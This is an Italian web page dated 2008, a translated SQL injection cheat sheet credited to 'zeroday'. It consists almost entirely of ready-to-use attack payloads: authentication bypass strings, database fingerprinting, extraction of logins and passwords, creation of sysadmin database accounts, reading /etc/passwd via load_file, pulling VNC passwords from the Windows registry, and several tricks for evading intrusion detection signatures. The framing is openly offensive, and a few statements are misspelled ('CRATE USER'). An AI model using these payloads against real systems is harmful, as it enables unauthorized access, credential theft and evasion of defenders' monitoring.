| Guida pratica sulle SQL injection |
|
|
|
| Scritto da Administrator | |
| martedì 01 gennaio 2008 | |
|
Sql Injection Paper By zeroday. zeroday [ at ] blacksecurity.org e tradotto da isaacisback http://isaacisback.altervista.org 1. Introduzione 2. Testare le vulnerabilità 3. Prendere informazioni 4. Tipi di dati 5. Fregare password 6. Creare account DB 7. Interazioni con il MySQL OS 8. Configurazione e nome del server 9. Ritrovare dal regisro le password VNC 10. Evadere la firma in IDS 11. Eludere la validazione dell' input in mySQL usano Char() 12. Evadere la firma in IDS usando i commenti 13. Stringa senza citazione (quotes) 1. Quando un box ha solo la porta 80 aperta, è quasi sicuro ke il webmaster patcherà il suo server, La cosa migliore da fare è utilizzare una SQL Injection, Uno dei più comuni attacchi web. Attachi le applicazioni del server, ( ASP, JSP, PHP, CGI..etc) piuttosto ke il webserver o la piattaforma del sito. La Sql injection serve per truccare la rikiesta o il comandano come un ingresso attraverso le pagine web; molti siti prendono parametri come un username, una password e una casella e-mail. Loro usano tutti le Sql querys (querys vuol dire ricerca ;) ) 2. Prima dovresti partire con qualcosa di facile. - Login:' or 1=1-- - Pass:' or 1=1-- - http://website/index.asp?id=' or 1=1-- Questi sono semplici passaggi per provarne poi di altri come:] - ' having 1=1-- - ' group by userid having 1=1-- - ' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename')-- - ' union select sum(columnname) from tablename-- 3. Prendere Informazioni. - ' or 1 in (select @@version)-- - ' union all select @@version-- Questo serve per trovare l'attuale versione del computer, sistema operativo /service pack. 4. Tipi di dati Oracle -->SYS.USER_OBJECTS (USEROBJECTS) -->SYS.USER_VIEWS -->SYS.USER_TABLES -->SYS.USER_VIEWS -->SYS.USER_TAB_COLUMNS -->SYS.USER_CATALOG -->SYS.USER_TRIGGERS -->SYS.ALL_TABLES -->SYS.TAB MySQL -->mysql.user -->mysql.host -->mysql.db MS access -->MsysACEs -->MsysObjects -->MsysQueries -->MsysRelationships MS SQL Server -->sysobjects -->syscolumns -->systypes -->sysdatabases 5. Fregare Password: '; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var into temp end -- ' and 1 in (select var from temp)-- ' ; drop table temp -- 6. Creare Account DB MS SQL exec sp_addlogin 'name' , 'password' exec sp_addsrvrolemember 'name' , 'sysadmin' MySQL INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123')) Access CRATE USER name IDENTIFIED BY 'pass123' Postgres (requires Unix account) CRATE USER name WITH PASSWORD 'pass123' Oracle CRATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; GRANT CONNECT TO name; GRANT RESOURCE TO name; 7. Interazione col MySQL - ' union select 1,load_file('/etc/passwd'),1,1,1; 8. Configurazione e nome del server - ' and 1 in (select @@servername)-- - ' and 1 in (select servername from master.sysservers)-- 9. Ritrovare dal regisro le password VNC - '; declare @out binary(8) - exec master..xp_regread - @rootkey = 'HKEY_LOCAL_MACHINE', - @key = 'SOFTWARE\ORL\WinVNC3\Default', - @value_name='password', - @value = @out output - select cast (@out as bigint) as x into TEMP-- - ' and 1 in (select cast(x as varchar) from temp)-- 10. Evadere la firma in IDS - ' OR 'unusual' = 'unusual' - ' OR 'something' = 'some'+'thing' - ' OR 'text' = N'text' - ' OR 'something' like 'some%' - ' OR 2 > 1 - ' OR 'text' > 't' - ' OR 'whatever' in ('whatever') - ' OR 2 BETWEEN 1 and 3 11. Eludere la validazione dell' input in mySQL usano Char() Inject without quotes (string = "%"): --> ' or username like char(37); Inject with quotes (string="root"): --> ' union select * from users where login = char(114,111,111,116); load files in unions (string = "/etc/passwd"): -->' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1; Check for existing files (string = "n.ext"): -->' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0)); 12. Evadere la firma in IDS usando i commenti -->'/**/OR/**/1/**/=/**/1 -->Username:' or 1/* -->Password:*/=1-- -->UNI/**/ON SEL/**/ECT -->(Oracle) '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER' -->(MS SQL) '; EXEC ('SEL' + 'ECT US' + 'ER') 13. Stringa senza citazione (quotes) --> INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64) ringraziamenti dell'autore: kaneda, modem, wildcard, #black and pulltheplug. ringraziamenti del traduttore: la mia prof di inglese xD isaacisback http://isaacisback.altervista.org |
| < Prec. | Pros. > |
|---|













